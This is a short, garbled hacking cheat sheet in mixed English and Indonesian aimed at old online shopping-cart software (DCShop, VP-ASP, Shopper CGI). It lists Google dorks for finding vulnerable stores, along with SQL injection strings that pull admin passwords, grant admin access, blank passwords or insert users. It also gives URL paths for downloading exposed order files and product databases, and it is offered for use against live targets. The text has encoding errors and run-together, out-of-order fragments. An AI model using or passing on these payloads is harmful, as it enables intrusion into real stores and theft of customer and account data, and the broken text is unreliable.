:-> allinurl:/store/index.cgi/page=Įxploit :-> /DCShop/orders/orders.txt or /DCShop/Orders/orders.txt Google dork :-> allinurl:/vpasp/shopdisplayproducts.aspĮxploit :-> ct%20fldauto,fldpassword%20from%20tbluser%20where% 20fldusername='admin'%20and%20fldpassword%20like%2 0'a%25'-Īfter finding user and pass go to login page: Untuk mengganti password admin, masukkan keyword berikut :įldusername='admin'-&SubCategory=All&action.x=33&action.y=6

Jangan lupa untuk mengganti dan nya terserah kamu.

Keyword=&category=3) update tbluser set fldaccess='1' where Keyword=&category=5) update tbluser set fldpassword='' whereįldusername=''-&SubCategory=All&action.x=33&action.y=6 Keyword=&category=5) insert into tbluser (fldusername) values When u find a target put this in search box

Google dork :-> allinurl:/vpasp/shopsearch.asp Google dork :-> allinurl: /cgi-local/shopper.cgiĮxploit :-> change /mall/lobby.asp to /fpdb/shop.mdb Target looks like :-> (big leters and numbers )Įxploit :-> chage the proddtail.asp?prod=SG369 whit fpdb/vsproducts.mdb Google dork :-> allinurlroddetail.asp?prod=

Vp-asp Shopping Cart 5.00 Software